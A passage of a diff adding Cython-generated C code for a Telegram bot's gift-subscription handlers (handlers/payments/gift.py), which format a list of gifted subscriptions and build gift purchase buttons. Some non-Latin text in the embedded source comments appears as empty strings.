__Pyx_GOTREF(__pyx_t_2); + __pyx_t_11 = 0; + __pyx_t_12 = 127; + __Pyx_INCREF(__pyx_kp_u__12); + __pyx_t_12 = (1114111 > __pyx_t_12) ? 1114111 : __pyx_t_12; + __pyx_t_11 += 13; + __Pyx_GIVEREF(__pyx_kp_u__12); + PyTuple_SET_ITEM(__pyx_t_2, 0, __pyx_kp_u__12); + __pyx_t_3 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_months, __pyx_empty_unicode); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 68, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_12 = (__Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_3) > __pyx_t_12) ? __Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_3) : __pyx_t_12; + __pyx_t_11 += __Pyx_PyUnicode_GET_LENGTH(__pyx_t_3); + __Pyx_GIVEREF(__pyx_t_3); + PyTuple_SET_ITEM(__pyx_t_2, 1, __pyx_t_3); + __pyx_t_3 = 0; + __Pyx_INCREF(__pyx_kp_u__13); + __pyx_t_11 += 1; + __Pyx_GIVEREF(__pyx_kp_u__13); + PyTuple_SET_ITEM(__pyx_t_2, 2, __pyx_kp_u__13); + __pyx_t_8 = (__Pyx_PyInt_BoolEqObjC(__pyx_cur_scope->__pyx_v_months, __pyx_int_1, 1, 0)); if (unlikely((__pyx_t_8 < 0))) __PYX_ERR(0, 68, __pyx_L1_error) + if (__pyx_t_8) { + __Pyx_INCREF(__pyx_n_u__14); + __pyx_t_3 = __pyx_n_u__14; + } else { + __pyx_t_5 = PyObject_RichCompare(__pyx_int_2, __pyx_cur_scope->__pyx_v_months, Py_LE); __Pyx_XGOTREF(__pyx_t_5); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 68, __pyx_L1_error) + if (__Pyx_PyObject_IsTrue(__pyx_t_5)) { + __Pyx_DECREF(__pyx_t_5); + __pyx_t_5 = PyObject_RichCompare(__pyx_cur_scope->__pyx_v_months, __pyx_int_4, Py_LE); __Pyx_XGOTREF(__pyx_t_5); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 68, __pyx_L1_error) + } + __pyx_t_7 = __Pyx_PyObject_IsTrue(__pyx_t_5); if (unlikely((__pyx_t_7 < 0))) __PYX_ERR(0, 68, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + if (__pyx_t_7) { + __Pyx_INCREF(__pyx_n_u__15); + __pyx_t_1 = __pyx_n_u__15; + } else { + __Pyx_INCREF(__pyx_n_u__16); + __pyx_t_1 = __pyx_n_u__16; + } + __pyx_t_3 = __pyx_t_1; + __pyx_t_1 = 0; + } + __pyx_t_1 = __Pyx_PyUnicode_Unicode(__pyx_t_3); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 68, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_12 = (__Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_1) > __pyx_t_12) ? __Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_1) : __pyx_t_12; + __pyx_t_11 += __Pyx_PyUnicode_GET_LENGTH(__pyx_t_1); + __Pyx_GIVEREF(__pyx_t_1); + PyTuple_SET_ITEM(__pyx_t_2, 3, __pyx_t_1); + __pyx_t_1 = 0; + __Pyx_INCREF(__pyx_kp_u__17); + __pyx_t_12 = (65535 > __pyx_t_12) ? 65535 : __pyx_t_12; + __pyx_t_11 += 13; + __Pyx_GIVEREF(__pyx_kp_u__17); + PyTuple_SET_ITEM(__pyx_t_2, 4, __pyx_kp_u__17); + + /* "handlers/payments/gift.py":69 + * gifts_text += ( + * f" {months} {'' if months == 1 else '' if 2 <= months <= 4 else ''}\n" + * f" : {expiry_time}\n" # <<<<<<<<<<<<<< + * f": {recipient}\n" + * f": {is_used}\n\n" + */ + __pyx_t_1 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_expiry_time, __pyx_empty_unicode); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 69, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __pyx_t_12 = (__Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_1) > __pyx_t_12) ? __Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_1) : __pyx_t_12; + __pyx_t_11 += __Pyx_PyUnicode_GET_LENGTH(__pyx_t_1); + __Pyx_GIVEREF(__pyx_t_1); + PyTuple_SET_ITEM(__pyx_t_2, 5, __pyx_t_1); + __pyx_t_1 = 0; + __Pyx_INCREF(__pyx_kp_u__18); + __pyx_t_12 = (65535 > __pyx_t_12) ? 65535 : __pyx_t_12; + __pyx_t_11 += 13; + __Pyx_GIVEREF(__pyx_kp_u__18); + PyTuple_SET_ITEM(__pyx_t_2, 6, __pyx_kp_u__18); + + /* "handlers/payments/gift.py":70 + * f" {months} {'' if months == 1 else '' if 2 <= months <= 4 else ''}\n" + * f" : {expiry_time}\n" + * f": {recipient}\n" # <<<<<<<<<<<<<< + * f": {is_used}\n\n" + * ) + */ + __pyx_t_1 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_recipient, __pyx_empty_unicode); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 70, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __pyx_t_12 = (__Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_1) > __pyx_t_12) ? __Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_1) : __pyx_t_12; + __pyx_t_11 += __Pyx_PyUnicode_GET_LENGTH(__pyx_t_1); + __Pyx_GIVEREF(__pyx_t_1); + PyTuple_SET_ITEM(__pyx_t_2, 7, __pyx_t_1); + __pyx_t_1 = 0; + __Pyx_INCREF(__pyx_kp_u__19); + __pyx_t_12 = (65535 > __pyx_t_12) ? 65535 : __pyx_t_12; + __pyx_t_11 += 14; + __Pyx_GIVEREF(__pyx_kp_u__19); + PyTuple_SET_ITEM(__pyx_t_2, 8, __pyx_kp_u__19); + + /* "handlers/payments/gift.py":71 + * f" : {expiry_time}\n" + * f": {recipient}\n" + * f": {is_used}\n\n" # <<<<<<<<<<<<<< + * ) + * + */ + __pyx_t_1 = __Pyx_PyUnicode_Unicode(__pyx_cur_scope->__pyx_v_is_used); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 71, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __pyx_t_12 = (__Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_1) > __pyx_t_12) ? __Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_1) : __pyx_t_12; + __pyx_t_11 += __Pyx_PyUnicode_GET_LENGTH(__pyx_t_1); + __Pyx_GIVEREF(__pyx_t_1); + PyTuple_SET_ITEM(__pyx_t_2, 9, __pyx_t_1); + __pyx_t_1 = 0; + __Pyx_INCREF(__pyx_kp_u__20); + __pyx_t_11 += 2; + __Pyx_GIVEREF(__pyx_kp_u__20); + PyTuple_SET_ITEM(__pyx_t_2, 10, __pyx_kp_u__20); + + /* "handlers/payments/gift.py":68 + * + * gifts_text += ( + * f" {months} {'' if months == 1 else '' if 2 <= months <= 4 else ''}\n" # <<<<<<<<<<<<<< + * f" : {expiry_time}\n" + * f": {recipient}\n" + */ + __pyx_t_1 = __Pyx_PyUnicode_Join(__pyx_t_2, 11, __pyx_t_11, __pyx_t_12); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 68, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + + /* "handlers/payments/gift.py":67 + * expiry_time = gift['expiry_time'].strftime("%d-%m-%Y %H:%M") + * + * gifts_text += ( # <<<<<<<<<<<<<< + * f" {months} {'' if months == 1 else '' if 2 <= months <= 4 else ''}\n" + * f" : {expiry_time}\n" + */ + __pyx_t_2 = __Pyx_PyUnicode_ConcatInPlace(__pyx_cur_scope->__pyx_v_gifts_text, __pyx_t_1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 67, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __Pyx_GOTREF(__pyx_cur_scope->__pyx_v_gifts_text); + __Pyx_DECREF_SET(__pyx_cur_scope->__pyx_v_gifts_text, ((PyObject*)__pyx_t_2)); + __Pyx_GIVEREF(__pyx_t_2); + __pyx_t_2 = 0; + + /* "handlers/payments/gift.py":61 + * + * gifts_text = " :\n\n" + * for gift in gifts: # <<<<<<<<<<<<<< + * months = gift['selected_months'] + * is_used = "" if gift['is_used'] else "" + */ + } + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + + /* "handlers/payments/gift.py":74 + * ) + * + * await callback_query.message.answer(text=gifts_text, reply_markup=builder.as_markup()) # <<<<<<<<<<<<<< + * + * + */ + __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_message); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 74, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_6); + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_6, __pyx_n_s_answer); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 74, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + __pyx_t_6 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 74, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_6); + if (PyDict_SetItem(__pyx_t_6, __pyx_n_s_text, __pyx_cur_scope->__pyx_v_gifts_text) < 0) __PYX_ERR(0, 74, __pyx_L1_error) + __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_as_markup); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 74, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_5 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_3))) { + __pyx_t_5 = PyMethod_GET_SELF(__pyx_t_3); + if (likely(__pyx_t_5)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_3); + __Pyx_INCREF(__pyx_t_5); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_3, function); + __pyx_t_4 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_5, NULL}; + __pyx_t_1 = __Pyx_PyObject_FastCall(__pyx_t_3, __pyx_callargs+1-__pyx_t_4, 0+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_5); __pyx_t_5 = 0; + if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 74, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + } + if (PyDict_SetItem(__pyx_t_6, __pyx_n_s_reply_markup, __pyx_t_1) < 0) __PYX_ERR(0, 74, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_empty_tuple, __pyx_t_6); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 74, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_1); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __Pyx_XGOTREF(__pyx_r); + if (likely(__pyx_r)) { + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + /* return from generator, awaiting value */ + __pyx_generator->resume_label = 3; + return __pyx_r; + __pyx_L10_resume_from_await:; + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 74, __pyx_L1_error) + } else { + PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); + if (exc_type) { + if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); + else __PYX_ERR(0, 74, __pyx_L1_error) + } + } + CYTHON_MAYBE_UNUSED_VAR(__pyx_cur_scope); + + /* "handlers/payments/gift.py":42 + * + * + * @router.callback_query(F.data == "my_gifts") # <<<<<<<<<<<<<< + * async def my_gifts_handler(callback_query: types.CallbackQuery, session: Any): + * """ ' '. .""" + */ + + /* function exit code */ + PyErr_SetNone(PyExc_StopIteration); + goto __pyx_L0; + __pyx_L1_error:; + __Pyx_Generator_Replace_StopIteration(0); + __Pyx_XDECREF(__pyx_t_1); + __Pyx_XDECREF(__pyx_t_2); + __Pyx_XDECREF(__pyx_t_3); + __Pyx_XDECREF(__pyx_t_5); + __Pyx_XDECREF(__pyx_t_6); + __Pyx_AddTraceback("my_gifts_handler", __pyx_clineno, __pyx_lineno, __pyx_filename); + __pyx_L0:; + __Pyx_XDECREF(__pyx_r); __pyx_r = 0; + #if !CYTHON_USE_EXC_INFO_STACK + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + #endif + __pyx_generator->resume_label = -1; + __Pyx_Coroutine_clear((PyObject*)__pyx_generator); + __Pyx_RefNannyFinishContext(); + return __pyx_r; +} +static PyObject *__pyx_gb_8handlers_8payments_4gift_8generator2(__pyx_CoroutineObject *__pyx_generator, CYTHON_UNUSED PyThreadState *__pyx_tstate, PyObject *__pyx_sent_value); /* proto */ + +/* "handlers/payments/gift.py":77 + * + * + * @router.callback_query(F.data == "gift") # <<<<<<<<<<<<<< + * async def gift_subscription_handler(callback_query: types.CallbackQuery): + * """ ''. .""" + */ + +/* Python wrapper */ +static PyObject *__pyx_pw_8handlers_8payments_4gift_7gift_subscription_handler(PyObject *__pyx_self, +#if CYTHON_METH_FASTCALL +PyObject *const *__pyx_args, Py_ssize_t __pyx_nargs, PyObject *__pyx_kwds +#else +PyObject *__pyx_args, PyObject *__pyx_kwds +#endif +); /*proto*/ +PyDoc_STRVAR(__pyx_doc_8handlers_8payments_4gift_6gift_subscription_handler, "\320\236\320\261\321\200\320\260\320\261\320\276\321\202\321\207\320\270\320\272 \320\264\320\273\321\217 \320\272\320\275\320\276\320\277\320\272\320\270 '\320\237\320\276\320\264\320\260\321\200\320\270\321\202\321\214'. \320\237\320\276\320\272\320\260\320\267\321\213\320\262\320\260\320\265\321\202 \320\262\320\260\321\200\320\270\320\260\320\275\321\202\321\213 \320\277\320\276\320\264\320\277\320\270\321\201\320\276\320\272."); +static PyMethodDef __pyx_mdef_8handlers_8payments_4gift_7gift_subscription_handler = {"gift_subscription_handler", (PyCFunction)(void*)(__Pyx_PyCFunction_FastCallWithKeywords)__pyx_pw_8handlers_8payments_4gift_7gift_subscription_handler, __Pyx_METH_FASTCALL|METH_KEYWORDS, __pyx_doc_8handlers_8payments_4gift_6gift_subscription_handler}; +static PyObject *__pyx_pw_8handlers_8payments_4gift_7gift_subscription_handler(PyObject *__pyx_self, +#if CYTHON_METH_FASTCALL +PyObject *const *__pyx_args, Py_ssize_t __pyx_nargs, PyObject *__pyx_kwds +#else +PyObject *__pyx_args, PyObject *__pyx_kwds +#endif +) { + PyObject *__pyx_v_callback_query = 0; + #if !CYTHON_METH_FASTCALL + CYTHON_UNUSED Py_ssize_t __pyx_nargs; + #endif + CYTHON_UNUSED PyObject *const *__pyx_kwvalues; + PyObject* values[1] = {0}; + int __pyx_lineno = 0; + const char *__pyx_filename = NULL; + int __pyx_clineno = 0; + PyObject *__pyx_r = 0; + __Pyx_RefNannyDeclarations + __Pyx_RefNannySetupContext("gift_subscription_handler (wrapper)", 0); + #if !CYTHON_METH_FASTCALL + #if CYTHON_ASSUME_SAFE_MACROS + __pyx_nargs = PyTuple_GET_SIZE(__pyx_args); + #else + __pyx_nargs = PyTuple_Size(__pyx_args); if (unlikely(__pyx_nargs < 0)) return NULL; + #endif + #endif + __pyx_kwvalues = __Pyx_KwValues_FASTCALL(__pyx_args, __pyx_nargs); + { + PyObject **__pyx_pyargnames[] = {&__pyx_n_s_callback_query,0}; + if (__pyx_kwds) { + Py_ssize_t kw_args; + switch (__pyx_nargs) { + case 1: values[0] = __Pyx_Arg_FASTCALL(__pyx_args, 0); + CYTHON_FALLTHROUGH; + case 0: break; + default: goto __pyx_L5_argtuple_error; + } + kw_args = __Pyx_NumKwargs_FASTCALL(__pyx_kwds); + switch (__pyx_nargs) { + case 0: + if (likely((values[0] = __Pyx_GetKwValue_FASTCALL(__pyx_kwds, __pyx_kwvalues, __pyx_n_s_callback_query)) != 0)) { + (void)__Pyx_Arg_NewRef_FASTCALL(values[0]); + kw_args--; + } + else if (unlikely(PyErr_Occurred())) __PYX_ERR(0, 77, __pyx_L3_error) + else goto __pyx_L5_argtuple_error; + } + if (unlikely(kw_args > 0)) { + const Py_ssize_t kwd_pos_args = __pyx_nargs; + if (unlikely(__Pyx_ParseOptionalKeywords(__pyx_kwds, __pyx_kwvalues, __pyx_pyargnames, 0, values + 0, kwd_pos_args, "gift_subscription_handler") < 0)) __PYX_ERR(0, 77, __pyx_L3_error) + } + } else if (unlikely(__pyx_nargs != 1)) { + goto __pyx_L5_argtuple_error; + } else { + values[0] = __Pyx_Arg_FASTCALL(__pyx_args, 0); + } + __pyx_v_callback_query = values[0]; + } + goto __pyx_L6_skip; + __pyx_L5_argtuple_error:; + __Pyx_RaiseArgtupleInvalid("gift_subscription_handler", 1, 1, 1, __pyx_nargs); __PYX_ERR(0, 77, __pyx_L3_error) + __pyx_L6_skip:; + goto __pyx_L4_argument_unpacking_done; + __pyx_L3_error:; + { + Py_ssize_t __pyx_temp; + for (__pyx_temp=0; __pyx_temp < (Py_ssize_t)(sizeof(values)/sizeof(values[0])); ++__pyx_temp) { + __Pyx_Arg_XDECREF_FASTCALL(values[__pyx_temp]); + } + } + __Pyx_AddTraceback("handlers.payments.gift.gift_subscription_handler", __pyx_clineno, __pyx_lineno, __pyx_filename); + __Pyx_RefNannyFinishContext(); + return NULL; + __pyx_L4_argument_unpacking_done:; + __pyx_r = __pyx_pf_8handlers_8payments_4gift_6gift_subscription_handler(__pyx_self, __pyx_v_callback_query); + + /* function exit code */ + { + Py_ssize_t __pyx_temp; + for (__pyx_temp=0; __pyx_temp < (Py_ssize_t)(sizeof(values)/sizeof(values[0])); ++__pyx_temp) { + __Pyx_Arg_XDECREF_FASTCALL(values[__pyx_temp]); + } + } + __Pyx_RefNannyFinishContext(); + return __pyx_r; +} + +static PyObject *__pyx_pf_8handlers_8payments_4gift_6gift_subscription_handler(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_callback_query) { + struct __pyx_obj_8handlers_8payments_4gift___pyx_scope_struct_2_gift_subscription_handler *__pyx_cur_scope; + PyObject *__pyx_r = NULL; + __Pyx_RefNannyDeclarations + int __pyx_lineno = 0; + const char *__pyx_filename = NULL; + int __pyx_clineno = 0; + __Pyx_RefNannySetupContext("gift_subscription_handler", 0); + __pyx_cur_scope = (struct __pyx_obj_8handlers_8payments_4gift___pyx_scope_struct_2_gift_subscription_handler *)__pyx_tp_new_8handlers_8payments_4gift___pyx_scope_struct_2_gift_subscription_handler(__pyx_ptype_8handlers_8payments_4gift___pyx_scope_struct_2_gift_subscription_handler, __pyx_empty_tuple, NULL); + if (unlikely(!__pyx_cur_scope)) { + __pyx_cur_scope = ((struct __pyx_obj_8handlers_8payments_4gift___pyx_scope_struct_2_gift_subscription_handler *)Py_None); + __Pyx_INCREF(Py_None); + __PYX_ERR(0, 77, __pyx_L1_error) + } else { + __Pyx_GOTREF((PyObject *)__pyx_cur_scope); + } + __pyx_cur_scope->__pyx_v_callback_query = __pyx_v_callback_query; + __Pyx_INCREF(__pyx_cur_scope->__pyx_v_callback_query); + __Pyx_GIVEREF(__pyx_cur_scope->__pyx_v_callback_query); + { + __pyx_CoroutineObject *gen = __Pyx_Coroutine_New((__pyx_coroutine_body_t) __pyx_gb_8handlers_8payments_4gift_8generator2, __pyx_codeobj__21, (PyObject *) __pyx_cur_scope, __pyx_n_s_gift_subscription_handler, __pyx_n_s_gift_subscription_handler, __pyx_n_s_handlers_payments_gift); if (unlikely(!gen)) __PYX_ERR(0, 77, __pyx_L1_error) + __Pyx_DECREF(__pyx_cur_scope); + __Pyx_RefNannyFinishContext(); + return (PyObject *) gen; + } + + /* function exit code */ + __pyx_L1_error:; + __Pyx_AddTraceback("handlers.payments.gift.gift_subscription_handler", __pyx_clineno, __pyx_lineno, __pyx_filename); + __pyx_r = NULL; + __Pyx_DECREF((PyObject *)__pyx_cur_scope); + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + return __pyx_r; +} + +static PyObject *__pyx_gb_8handlers_8payments_4gift_8generator2(__pyx_CoroutineObject *__pyx_generator, CYTHON_UNUSED PyThreadState *__pyx_tstate, PyObject *__pyx_sent_value) /* generator body */ +{ + struct __pyx_obj_8handlers_8payments_4gift___pyx_scope_struct_2_gift_subscription_handler *__pyx_cur_scope = ((struct __pyx_obj_8handlers_8payments_4gift___pyx_scope_struct_2_gift_subscription_handler *)__pyx_generator->closure); + PyObject *__pyx_r = NULL; + PyObject *__pyx_t_1 = NULL; + PyObject *__pyx_t_2 = NULL; + PyObject *__pyx_t_3 = NULL; + unsigned int __pyx_t_4; + Py_ssize_t __pyx_t_5; + Py_ssize_t __pyx_t_6; + int __pyx_t_7; + int __pyx_t_8; + PyObject *__pyx_t_9 = NULL; + PyObject *__pyx_t_10 = NULL; + PyObject *__pyx_t_11 = NULL; + Py_ssize_t __pyx_t_12; + Py_UCS4 __pyx_t_13; + PyObject *__pyx_t_14 = NULL; + int __pyx_t_15; + PyObject *__pyx_t_16 = NULL; + PyObject *__pyx_t_17 = NULL; + int __pyx_t_18; + int __pyx_t_19; + int __pyx_lineno = 0; + const char *__pyx_filename = NULL; + int __pyx_clineno = 0; + __Pyx_RefNannyDeclarations + __Pyx_RefNannySetupContext("gift_subscription_handler", 0); + switch (__pyx_generator->resume_label) { + case 0: goto __pyx_L3_first_run; + case 1: goto __pyx_L9_resume_from_await; + default: /* CPython raises the right error here */ + __Pyx_RefNannyFinishContext(); + return NULL; + } + __pyx_L3_first_run:; + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 77, __pyx_L1_error) + + /* "handlers/payments/gift.py":80 + * async def gift_subscription_handler(callback_query: types.CallbackQuery): + * """ ''. .""" + * builder = InlineKeyboardBuilder() # <<<<<<<<<<<<<< + * + * for months, price in RENEWAL_PRICES.items(): + */ + __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_InlineKeyboardBuilder); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 80, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __pyx_t_3 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_2))) { + __pyx_t_3 = PyMethod_GET_SELF(__pyx_t_2); + if (likely(__pyx_t_3)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_2); + __Pyx_INCREF(__pyx_t_3); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_2, function); + __pyx_t_4 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_3, NULL}; + __pyx_t_1 = __Pyx_PyObject_FastCall(__pyx_t_2, __pyx_callargs+1-__pyx_t_4, 0+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; + if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 80, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + } + __Pyx_GIVEREF(__pyx_t_1); + __pyx_cur_scope->__pyx_v_builder = __pyx_t_1; + __pyx_t_1 = 0; + + /* "handlers/payments/gift.py":82 + * builder = InlineKeyboardBuilder() + * + * for months, price in RENEWAL_PRICES.items(): # <<<<<<<<<<<<<< + * builder.row( + * types.InlineKeyboardButton( + */ + __pyx_t_5 = 0; + __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_RENEWAL_PRICES); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 82, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + if (unlikely(__pyx_t_2 == Py_None)) { + PyErr_Format(PyExc_AttributeError, "'NoneType' object has no attribute '%.30s'", "items"); + __PYX_ERR(0, 82, __pyx_L1_error) + } + __pyx_t_3 = __Pyx_dict_iterator(__pyx_t_2, 0, __pyx_n_s_items, (&__pyx_t_6), (&__pyx_t_7)); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 82, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_XDECREF(__pyx_t_1); + __pyx_t_1 = __pyx_t_3; + __pyx_t_3 = 0; + while (1) { + __pyx_t_8 = __Pyx_dict_iter_next(__pyx_t_1, __pyx_t_6, &__pyx_t_5, &__pyx_t_3, &__pyx_t_2, NULL, __pyx_t_7); + if (unlikely(__pyx_t_8 == 0)) break; + if (unlikely(__pyx_t_8 == -1)) __PYX_ERR(0, 82, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_GOTREF(__pyx_t_2); + __Pyx_XGOTREF(__pyx_cur_scope->__pyx_v_months); + __Pyx_XDECREF_SET(__pyx_cur_scope->__pyx_v_months, __pyx_t_3); + __Pyx_GIVEREF(__pyx_t_3); + __pyx_t_3 = 0; + __Pyx_XGOTREF(__pyx_cur_scope->__pyx_v_price); + __Pyx_XDECREF_SET(__pyx_cur_scope->__pyx_v_price, __pyx_t_2); + __Pyx_GIVEREF(__pyx_t_2); + __pyx_t_2 = 0; + + /* "handlers/payments/gift.py":83 + * + * for months, price in RENEWAL_PRICES.items(): + * builder.row( # <<<<<<<<<<<<<< + * types.InlineKeyboardButton( + * text=f"\ud83c\udf81 {months} {'' if months == '1' else '' if int(months) in [2, 3, 4] else ''} {price} ", + */ + __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_row); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 83, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + + /* "handlers/payments/gift.py":84 + * for months, price in RENEWAL_PRICES.items(): + * builder.row( + * types.InlineKeyboardButton( # <<<<<<<<<<<<<< + * text=f"\ud83c\udf81 {months} {'' if months == '1' else '' if int(months) in [2, 3, 4] else ''} {price} ", + * callback_data=f"gift|{months}", + */ + __Pyx_GetModuleGlobalName(__pyx_t_9, __pyx_n_s_types); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 84, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_9); + __pyx_t_10 = __Pyx_PyObject_GetAttrStr(__pyx_t_9, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 84, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_10); + __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; + + /* "handlers/payments/gift.py":85 + * builder.row( + * types.InlineKeyboardButton( + * text=f"\ud83c\udf81 {months} {'' if months == '1' else '' if int(months) in [2, 3, 4] else ''} {price} ", # <<<<<<<<<<<<<< + * callback_data=f"gift|{months}", + * ) + */ + __pyx_t_9 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 85, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_9); + __pyx_t_11 = PyTuple_New(7); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 85, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_11); + __pyx_t_12 = 0; + __pyx_t_13 = 127; + __Pyx_INCREF(__pyx_ustring__22); + __pyx_t_13 = (__Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_ustring__22) > __pyx_t_13) ? __Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_ustring__22) : __pyx_t_13; + __pyx_t_12 += __Pyx_PyUnicode_GET_LENGTH(__pyx_ustring__22); + __Pyx_GIVEREF(__pyx_ustring__22); + PyTuple_SET_ITEM(__pyx_t_11, 0, __pyx_ustring__22); + __pyx_t_14 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_months, __pyx_empty_unicode); if (unlikely(!__pyx_t_14)) __PYX_ERR(0, 85, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_14); + __pyx_t_13 = (__Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_14) > __pyx_t_13) ? __Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_14) : __pyx_t_13; + __pyx_t_12 += __Pyx_PyUnicode_GET_LENGTH(__pyx_t_14); + __Pyx_GIVEREF(__pyx_t_14); + PyTuple_SET_ITEM(__pyx_t_11, 1, __pyx_t_14); + __pyx_t_14 = 0; + __Pyx_INCREF(__pyx_kp_u__13); + __pyx_t_12 += 1; + __Pyx_GIVEREF(__pyx_kp_u__13); + PyTuple_SET_ITEM(__pyx_t_11, 2, __pyx_kp_u__13); + __pyx_t_15 = (__Pyx_PyUnicode_Equals(__pyx_cur_scope->__pyx_v_months, 